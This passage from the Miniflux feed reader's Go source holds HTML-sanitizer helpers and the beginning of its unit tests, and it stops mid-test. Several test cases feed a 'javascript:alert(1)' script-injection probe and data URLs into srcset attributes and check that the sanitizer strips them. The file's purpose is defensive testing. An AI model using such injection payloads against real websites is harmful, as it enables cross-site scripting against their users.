{\n\tfor _, scheme := range validURISchemes {\n\t\tif strings.HasPrefix(absoluteURL, scheme) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc isBlockedResource(absoluteURL string) bool {\n\tfor _, blockedURL := range blockedResourceURLSubstrings {\n\t\tif strings.Contains(absoluteURL, blockedURL) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc isBlockedTag(tagName string) bool {\n\tswitch tagName {\n\tcase \"noscript\", \"script\", \"style\":\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc isExternalResourceAttribute(attribute string) bool {\n\tswitch attribute {\n\tcase \"src\", \"href\", \"poster\", \"cite\":\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\nfunc isHidden(n *html.Node) bool {\n\tfor _, attr := range n.Attr {\n\t\tif attr.Key == \"hidden\" {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc isPixelTracker(tagName string, attributes []html.Attribute) bool {\n\tif tagName != \"img\" {\n\t\treturn false\n\t}\n\thasHeight := false\n\thasWidth := false\n\n\tfor _, attribute := range attributes {\n\t\tif attribute.Val == \"1\" || attribute.Val == \"0\" {\n\t\t\tswitch attribute.Key {\n\t\t\tcase \"height\":\n\t\t\t\thasHeight = true\n\t\t\tcase \"width\":\n\t\t\t\thasWidth = true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn hasHeight && hasWidth\n}\n\nfunc isPositiveInteger(value string) bool {\n\tif value == \"\" {\n\t\treturn false\n\t}\n\tif number, err := strconv.Atoi(value); err == nil {\n\t\treturn number > 0\n\t}\n\treturn false\n}\n\nfunc isSelfContainedTag(tag string) bool {\n\tswitch tag {\n\tcase \"area\", \"base\", \"br\", \"col\", \"embed\", \"hr\", \"img\", \"input\",\n\t\t\"link\", \"meta\", \"param\", \"source\", \"track\", \"wbr\":\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc isValidDataAttribute(value string) bool {\n\tfor _, prefix := range dataAttributeAllowedPrefixes {\n\t\tif strings.HasPrefix(value, prefix) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc isValidDecodingValue(value string) bool {\n\tswitch value {\n\tcase \"sync\", \"async\", \"auto\":\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc isValidFetchPriorityValue(value string) bool {\n\tswitch value {\n\tcase \"high\", \"low\", \"auto\":\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc rewriteIframeURL(link string) string {\n\tu, err := url.Parse(link)\n\tif err != nil {\n\t\treturn link\n\t}\n\n\tswitch strings.TrimPrefix(u.Hostname(), \"www.\") {\n\tcase \"youtube.com\":\n\t\tif pathWithoutEmbed, ok := strings.CutPrefix(u.Path, \"/embed/\"); ok {\n\t\t\tif len(u.RawQuery) > 0 {\n\t\t\t\treturn config.Opts.YouTubeEmbedUrlOverride() + pathWithoutEmbed + \"?\" + u.RawQuery\n\t\t\t}\n\t\t\treturn config.Opts.YouTubeEmbedUrlOverride() + pathWithoutEmbed\n\t\t}\n\tcase \"player.vimeo.com\":\n\t\t// See https://help.vimeo.com/hc/en-us/articles/12426260232977-About-Player-parameters\n\t\tif strings.HasPrefix(u.Path, \"/video/\") {\n\t\t\tif len(u.RawQuery) > 0 {\n\t\t\t\treturn link + \"&dnt=1\"\n\t\t\t}\n\t\t\treturn link + \"?dnt=1\"\n\t\t}\n\t}\n\n\treturn link\n}\n\ntype mandatoryAttributesStruct struct {\n\thref   bool\n\tsrc    bool\n\tsrcset bool\n}\n\nfunc trackAttributes(s *mandatoryAttributesStruct, attributeName string) {\n\tswitch attributeName {\n\tcase \"href\":\n\t\ts.href = true\n\tcase \"src\":\n\t\ts.src = true\n\tcase \"srcset\":\n\t\ts.srcset = true\n\t}\n}\n\nfunc sanitizeAttributes(parsedBaseUrl *url.URL, tagName string, attributes []html.Attribute, sanitizerOptions *SanitizerOptions) (string, bool) {\n\thtmlAttrs := make([]string, 0, len(attributes))\n\n\t// Keep track of mandatory attributes for some tags\n\tmandatoryAttributes := mandatoryAttributesStruct{false, false, false}\n\n\tvar isAnchorLink bool\n\tvar isYouTubeEmbed bool\n\n\t// We know the element is present, as the tag was validated in the caller of `sanitizeAttributes`\n\tallowedAttributes := allowedHTMLTagsAndAttributes[tagName]\n\n\tfor _, attribute := range attributes {\n\t\tif !slices.Contains(allowedAttributes, attribute.Key) {\n\t\t\tcontinue\n\t\t}\n\n\t\tvalue := attribute.Val\n\n\t\tswitch tagName {\n\t\tcase \"math\":\n\t\t\tif attribute.Key == \"xmlns\" {\n\t\t\t\tif value != \"http://www.w3.org/1998/Math/MathML\" {\n\t\t\t\t\tvalue = \"http://www.w3.org/1998/Math/MathML\"\n\t\t\t\t}\n\t\t\t}\n\t\tcase \"img\":\n\t\t\tswitch attribute.Key {\n\t\t\tcase \"fetchpriority\":\n\t\t\t\tif !isValidFetchPriorityValue(value) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\tcase \"decoding\":\n\t\t\t\tif !isValidDecodingValue(value) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\tcase \"width\", \"height\":\n\t\t\t\tif !isPositiveInteger(value) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\tcase \"srcset\":\n\t\t\t\tvalue = sanitizeSrcsetAttr(parsedBaseUrl, value)\n\t\t\t\tif value == \"\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\tcase \"source\":\n\t\t\tif attribute.Key == \"srcset\" {\n\t\t\t\tvalue = sanitizeSrcsetAttr(parsedBaseUrl, value)\n\t\t\t\tif value == \"\" {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif isExternalResourceAttribute(attribute.Key) {\n\t\t\tswitch {\n\t\t\tcase tagName == \"iframe\":\n\t\t\t\tiframeSourceDomain, trustedIframeDomain := findAllowedIframeSourceDomain(attribute.Val)\n\t\t\t\tif !trustedIframeDomain {\n\t\t\t\t\treturn \"\", false\n\t\t\t\t}\n\n\t\t\t\tvalue = rewriteIframeURL(attribute.Val)\n\n\t\t\t\tif iframeSourceDomain == \"youtube.com\" || iframeSourceDomain == \"youtube-nocookie.com\" {\n\t\t\t\t\tisYouTubeEmbed = true\n\t\t\t\t}\n\t\t\tcase tagName == \"img\" && attribute.Key == \"src\" && isValidDataAttribute(attribute.Val):\n\t\t\t\tvalue = attribute.Val\n\t\t\tcase tagName == \"a\" && attribute.Key == \"href\" && strings.HasPrefix(attribute.Val, \"#\"):\n\t\t\t\tvalue = attribute.Val\n\t\t\t\tisAnchorLink = true\n\t\t\tdefault:\n\t\t\t\tif isBlockedResource(value) {\n\t\t\t\t\treturn \"\", false\n\t\t\t\t}\n\n\t\t\t\tvar err error\n\t\t\t\tvalue, err = urllib.ResolveToAbsoluteURLWithParsedBaseURL(parsedBaseUrl, value)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif !hasValidURIScheme(value) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// TODO use feedURL instead of baseURL twice.\n\t\t\t\tparsedValueUrl, _ := url.Parse(value)\n\t\t\t\tif cleanedURL, err := urlcleaner.RemoveTrackingParameters(parsedBaseUrl, parsedBaseUrl, parsedValueUrl); err == nil {\n\t\t\t\t\tvalue = cleanedURL\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttrackAttributes(&mandatoryAttributes, attribute.Key)\n\t\thtmlAttrs = append(htmlAttrs, attribute.Key+`=\"`+html.EscapeString(value)+`\"`)\n\t}\n\n\tif !hasRequiredAttributes(&mandatoryAttributes, tagName) {\n\t\treturn \"\", false\n\t}\n\n\tif !isAnchorLink {\n\t\tswitch tagName {\n\t\tcase \"a\":\n\t\t\thtmlAttrs = append(htmlAttrs, `rel=\"noopener noreferrer\"`, `referrerpolicy=\"no-referrer\"`)\n\t\t\tif sanitizerOptions.OpenLinksInNewTab {\n\t\t\t\thtmlAttrs = append(htmlAttrs, `target=\"_blank\"`)\n\t\t\t}\n\t\tcase \"video\", \"audio\":\n\t\t\thtmlAttrs = append(htmlAttrs, \"controls\")\n\t\tcase \"iframe\":\n\t\t\thtmlAttrs = append(htmlAttrs, `sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\"`, `loading=\"lazy\"`)\n\n\t\t\t// Note: the referrerpolicy seems to be required to avoid YouTube error 153 video player configuration error\n\t\t\t// See https://developers.google.com/youtube/terms/required-minimum-functionality#embedded-player-api-client-identity\n\t\t\tif isYouTubeEmbed {\n\t\t\t\thtmlAttrs = append(htmlAttrs, `referrerpolicy=\"strict-origin-when-cross-origin\"`)\n\t\t\t}\n\n\t\tcase \"img\":\n\t\t\thtmlAttrs = append(htmlAttrs, `loading=\"lazy\"`)\n\t\t}\n\t}\n\n\treturn strings.Join(htmlAttrs, \" \"), true\n}\n\nfunc sanitizeSrcsetAttr(parsedBaseURL *url.URL, value string) string {\n\tcandidates := ParseSrcSetAttribute(value)\n\tif len(candidates) == 0 {\n\t\treturn \"\"\n\t}\n\n\tsanitizedCandidates := make([]*imageCandidate, 0, len(candidates))\n\n\tfor _, imageCandidate := range candidates {\n\t\tabsoluteURL, err := urllib.ResolveToAbsoluteURLWithParsedBaseURL(parsedBaseURL, imageCandidate.ImageURL)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !hasValidURIScheme(absoluteURL) || isBlockedResource(absoluteURL) {\n\t\t\tcontinue\n\t\t}\n\n\t\timageCandidate.ImageURL = absoluteURL\n\t\tsanitizedCandidates = append(sanitizedCandidates, imageCandidate)\n\t}\n\n\treturn imageCandidates(sanitizedCandidates).String()\n}\n\nfunc shouldIgnoreTag(n *html.Node, tag string) bool {\n\tif isPixelTracker(tag, n.Attr) {\n\t\treturn true\n\t}\n\tif isBlockedTag(tag) {\n\t\treturn true\n\t}\n\tif isHidden(n) {\n\t\treturn true\n\t}\n\n\treturn false\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/sanitizer_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer // import \"miniflux.app/v2/internal/reader/sanitizer\"\n\nimport (\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"golang.org/x/net/html\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc sanitizeHTMLWithDefaultOptions(baseURL, rawHTML string) string {\n\treturn SanitizeHTML(baseURL, rawHTML, &SanitizerOptions{\n\t\tOpenLinksInNewTab: true,\n\t})\n}\n\nfunc BenchmarkSanitize(b *testing.B) {\n\tvar testCases = map[string][]string{\n\t\t\"miniflux_github.html\":    {\"https://github.com/miniflux/v2\", \"\"},\n\t\t\"miniflux_wikipedia.html\": {\"https://fr.wikipedia.org/wiki/Miniflux\", \"\"},\n\t}\n\tfor filename := range testCases {\n\t\tdata, err := os.ReadFile(\"testdata/\" + filename)\n\t\tif err != nil {\n\t\t\tb.Fatalf(`Unable to read file %q: %v`, filename, err)\n\t\t}\n\t\ttestCases[filename][1] = string(data)\n\t}\n\tfor b.Loop() {\n\t\tfor _, v := range testCases {\n\t\t\tsanitizeHTMLWithDefaultOptions(v[0], v[1])\n\t\t}\n\t}\n}\n\nfunc FuzzSanitizer(f *testing.F) {\n\tf.Fuzz(func(t *testing.T, orig string) {\n\t\ttok := html.NewTokenizer(strings.NewReader(orig))\n\t\ti := 0\n\t\tfor tok.Next() != html.ErrorToken {\n\t\t\ti++\n\t\t}\n\n\t\tout := sanitizeHTMLWithDefaultOptions(\"\", orig)\n\n\t\ttok = html.NewTokenizer(strings.NewReader(out))\n\t\tj := 0\n\t\tfor tok.Next() != html.ErrorToken {\n\t\t\tj++\n\t\t}\n\n\t\tif j > i {\n\t\t\tt.Errorf(\"Got more html tokens in the sanitized html.\")\n\t\t}\n\t})\n}\n\nfunc TestValidInput(t *testing.T) {\n\tinput := `<p>This is a <strong>text</strong> with an image: <img src=\"http://example.org/\" alt=\"Test\" loading=\"lazy\">.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif input != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, input, output)\n\t}\n}\n\nfunc TestImgSanitization(t *testing.T) {\n\tbaseURL := \"http://example.org/\"\n\ttestCases := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"width-and-height-attributes\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" width=\"10\" height=\"20\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" width=\"10\" height=\"20\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"invalid-width-and-height-attributes\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" width=\"10px\" height=\"20px\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"invalid-width-attribute\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" width=\"10px\" height=\"20\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" height=\"20\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"empty-width-and-height-attributes\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" width=\"\" height=\"\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"invalid-height-attribute\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" width=\"10\" height=\"20px\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" width=\"10\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"negative-width-attribute\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" width=\"-10\" height=\"20\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" height=\"20\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"negative-height-attribute\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" width=\"10\" height=\"-20\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" width=\"10\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"text-data-url\",\n\t\t\tinput:    `<img src=\"data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==\" alt=\"Example\">`,\n\t\t\texpected: ``,\n\t\t},\n\t\t{\n\t\t\tname:     \"image-data-url\",\n\t\t\tinput:    `<img src=\"data:image/gif;base64,test\" alt=\"Example\">`,\n\t\t\texpected: `<img src=\"data:image/gif;base64,test\" alt=\"Example\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"srcset-attribute\",\n\t\t\tinput:    `<img srcset=\"example-320w.jpg, example-480w.jpg 1.5x,   example-640w.jpg 2x, example-640w.jpg 640w\" src=\"example-640w.jpg\" alt=\"Example\">`,\n\t\t\texpected: `<img srcset=\"http://example.org/example-320w.jpg, http://example.org/example-480w.jpg 1.5x, http://example.org/example-640w.jpg 2x, http://example.org/example-640w.jpg 640w\" src=\"http://example.org/example-640w.jpg\" alt=\"Example\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"srcset-attribute-without-src\",\n\t\t\tinput:    `<img srcset=\"example-320w.jpg, example-480w.jpg 1.5x,   example-640w.jpg 2x, example-640w.jpg 640w\" alt=\"Example\">`,\n\t\t\texpected: `<img srcset=\"http://example.org/example-320w.jpg, http://example.org/example-480w.jpg 1.5x, http://example.org/example-640w.jpg 2x, http://example.org/example-640w.jpg 640w\" alt=\"Example\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"srcset-attribute-with-blocked-candidate\",\n\t\t\tinput:    `<img srcset=\"https://stats.wordpress.com/tracker.png 1x, /example-640w.jpg 2x\" src=\"/example-640w.jpg\" alt=\"Example\">`,\n\t\t\texpected: `<img srcset=\"http://example.org/example-640w.jpg 2x\" src=\"http://example.org/example-640w.jpg\" alt=\"Example\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"srcset-attribute-all-candidates-invalid\",\n\t\t\tinput:    `<img srcset=\"javascript:alert(1) 1x, data:text/plain;base64,SGVsbG8= 2x\" alt=\"Example\">`,\n\t\t\texpected: ``,\n\t\t},\n\t\t{\n\t\t\tname:     \"fetchpriority-high\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" fetchpriority=\"high\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" fetchpriority=\"high\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"fetchpriority-low\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" fetchpriority=\"low\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" fetchpriority=\"low\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"fetchpriority-auto\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" fetchpriority=\"auto\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" fetchpriority=\"auto\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"fetchpriority-invalid\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" fetchpriority=\"invalid\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"decoding-sync\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" decoding=\"sync\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" decoding=\"sync\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"decoding-async\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" decoding=\"async\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" decoding=\"async\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"decoding-auto\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" decoding=\"auto\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" decoding=\"auto\" loading=\"lazy\">`,\n\t\t},\n\t\t{\n\t\t\tname:     \"decoding-invalid\",\n\t\t\tinput:    `<img src=\"https://example.org/image.png\" decoding=\"invalid\">`,\n\t\t\texpected: `<img src=\"https://example.org/image.png\" loading=\"lazy\">`,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\toutput := sanitizeHTMLWithDefaultOptions(baseURL, tc.input)\n\t\t\tif output != tc.expected {\n\t\t\t\tt.Errorf(`Wrong output for input %q: expected %q, got %q`, tc.input, tc.expected, output)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNonImgWithFetchPriorityAttribute(t *testing.T) {\n\tinput := `<p fetchpriority=\"high\">Text</p>`\n\texpected := `<p>Text</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif output != expected {\n\t\tt.Errorf(`Wrong output: expected %q, got %q`, expected, output)\n\t}\n}\n\nfunc TestNonImgWithDecodingAttribute(t *testing.T) {\n\tinput := `<p decoding=\"async\">Text</p>`\n\texpected := `<p>Text</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif output != expected {\n\t\tt.Errorf(`Wrong output: expected %q, got %q`, expected, output)\n\t}\n}\n\nfunc TestMediumImgWithSrcset(t *testing.T) {\n\tinput := `<img alt=\"Image for post\" class=\"t u v ef aj\" src=\"https://miro.medium.com/max/5460/1*aJ9JibWDqO81qMfNtqgqrw.jpeg\" srcset=\"https://miro.medium.com/max/552/1*aJ9JibWDqO81qMfNtqgqrw.jpeg 276w, https://miro.medium.com/max/1000/1*aJ9JibWDqO81qMfNtqgqrw.jpeg 500w\" sizes=\"500px\" width=\"2730\" height=\"3407\">`\n\texpected := `<img alt=\"Image for post\" src=\"https://miro.medium.com/max/5460/1*aJ9JibWDqO81qMfNtqgqrw.jpeg\" srcset=\"https://miro.medium.com/max/552/1*aJ9JibWDqO81qMfNtqgqrw.jpeg 276w, https://miro.medium.com/max/1000/1*aJ9JibWDqO81qMfNtqgqrw.jpeg 500w\" sizes=\"500px\" width=\"2730\" height=\"3407\" loading=\"lazy\">`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif output != expected {\n\t\tt.Errorf(`Wrong output: %s`, output)\n\t}\n}\n\nfunc TestSelfClosingTags(t *testing.T) {\n\tbaseURL := \"http://example.org/\"\n\ttestCases := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"br\",\n\t\t\tinput:    `<p>Line<br>Break</p>`,\n\t\t\texpected: `<p>Line<br>Break</p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"hr\",\n\t\t\tinput:    `<p>Before</p><hr><p>After</p>`,\n\t\t\texpected: `<p>Before</p><hr><p>After</p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"img\",\n\t\t\tinput:    `<p>Image <img src=\"http://example.org/image.png\" alt=\"Test\"></p>`,\n\t\t\texpected: `<p>Image <img src=\"http://example.org/image.png\" alt=\"Test\" loading=\"lazy\"></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"source\",\n\t\t\tinput:    `<picture><source src=\"http://example.org/video.mp4\" type=\"video/mp4\"></picture>`,\n\t\t\texpected: `<picture><source src=\"http://example.org/video.mp4\" type=\"video/mp4\"></picture>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"wbr\",\n\t\t\tinput:    `<p>soft<wbr>break</p>`,\n\t\t\texpected: `<p>soft<wbr>break</p>`,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\toutput := sanitizeHTMLWithDefaultOptions(baseURL, tc.input)\n\t\t\tif output != tc.expected {\n\t\t\t\tt.Errorf(`Wrong output for input %q: expected %q, got %q`, tc.input, tc.expected, output)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestTable(t *testing.T) {\n\tinput := `<table><tr><th>A</th><th colspan=\"2\">B</th></tr><tr><td>C</td><td>D</td><td>E</td></tr></table>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif input != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, input, output)\n\t}\n}\n\nfunc TestRelativeURL(t *testing.T) {\n\tinput := `This <a href=\"/test.html\">link is relative</a> and this image: <img src=\"../folder/image.png\">`\n\texpected := `This <a href=\"http://example.org/test.html\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">link is relative</a> and this image: <img src=\"http://example.org/folder/image.png\" loading=\"lazy\">`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestProtocolRelativeURL(t *testing.T) {\n\tinput := `This <a href=\"//static.example.org/index.html\">link is relative</a>.`\n\texpected := `This <a href=\"https://static.example.org/index.html\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">link is relative</a>.`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestInvalidTag(t *testing.T) {\n\tinput := `<p>My invalid <z>tag</z>.</p>`\n\texpected := `<p>My invalid tag.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestSourceSanitization(t *testing.T) {\n\tbaseURL := \"http://example.org/\"\n\ttestCases := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"srcset-and-media\",\n\t\t\tinput:    `<picture><source media=\"(min-width: 800px)\" srcset=\"elva-800w.jpg\"></picture>`,\n\t\t\texpected: `<picture><source media=\"(min-width: 800px)\" srcset=\"http://example.org/elva-800w.jpg\"></picture>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"src-attribute\",\n\t\t\tinput:    `<picture><source src=\"video.mp4\" type=\"video/mp4\"></picture>`,\n\t\t\texpected: `<picture><source src=\"http://example.org/video.mp4\" type=\"video/mp4\"></picture>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"srcset-with-blocked-candidate\",\n\t\t\tinput:    `<picture><source srcset=\"https://stats.wordpress.com/tracker.png 1x, /elva-800w.jpg 2x\"></picture>`,\n\t\t\texpected: `<picture><source srcset=\"http://example.org/elva-800w.jpg 2x\"></picture>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"srcset-all-invalid\",\n\t\t\tinput:    `<picture><source srcset=\"javascript:alert(1) 1x, data:text/plain;base64,SGVsbG8= 2x\"></picture>`,\n\t\t\texpected: `<picture></picture>`,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\toutput := sanitizeHTMLWithDefaultOptions(baseURL, tc.input)\n\t\t\tif output != tc.expected {\n\t\t\t\tt.Errorf(`Wrong output for input %q: expected %q, got %q`, tc.input, tc.expected, output)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestVideoTag(t *testing.T) {\n\tinput := `<p>My valid <video src=\"videofile.webm\" autoplay poster=\"posterimage.jpg\">fallback</video>.</p>`\n\texpected := `<p>My valid <video src=\"http://example.org/videofile.webm\" poster=\"http://example.org/posterimage.jpg\" controls>fallback</video>.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestAudioAndSourceTag(t *testing.T) {\n\tinput := `<p>My music <audio controls=\"controls\"><source src=\"foo.wav\" type=\"audio/wav\"></audio>.</p>`\n\texpected := `<p>My music <audio controls><source src=\"http://example.org/foo.wav\" type=\"audio/wav\"></audio>.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestUnknownTag(t *testing.T) {\n\tinput := `<p>My invalid <unknown>tag</unknown>.</p>`\n\texpected := `<p>My invalid tag.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestInvalidNestedTag(t *testing.T) {\n\tinput := `<p>My invalid <z>tag with some <em>valid</em> tag</z>.</p>`\n\texpected := `<p>My invalid tag with some <em>valid</em> tag.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestInvalidIFrame(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tinput := `<iframe src=\"http://example.org/\"></iframe>`\n\texpected := ``\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.com/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestSameDomainIFrame(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tinput := `<iframe src=\"http://example.com/test\"></iframe>`\n\texpected := ``\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.com/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestInvidiousIFrame(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tinput := `<iframe src=\"https://yewtu.be/watch?v=video_id\"></iframe>`\n\texpected := `<iframe src=\"https://yewtu.be/watch?v=video_id\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.com/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestCustomYoutubeEmbedURL(t *testing.T) {\n\tos.Setenv(\"YOUTUBE_EMBED_URL_OVERRIDE\", \"https://www.invidious.custom/embed/\")\n\n\tdefer os.Clearenv()\n\tvar err error\n\tif config.Opts, err = config.NewConfigParser().ParseEnvironmentVariables(); err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<iframe src=\"https://www.invidious.custom/embed/1234\"></iframe>`\n\texpected := `<iframe src=\"https://www.invidious.custom/embed/1234\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.com/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestIFrameWithChildElements(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tinput := `<iframe src=\"https://www.youtube.com/\"><p>test</p></iframe>`\n\texpected := `<iframe src=\"https://www.youtube.com/\" 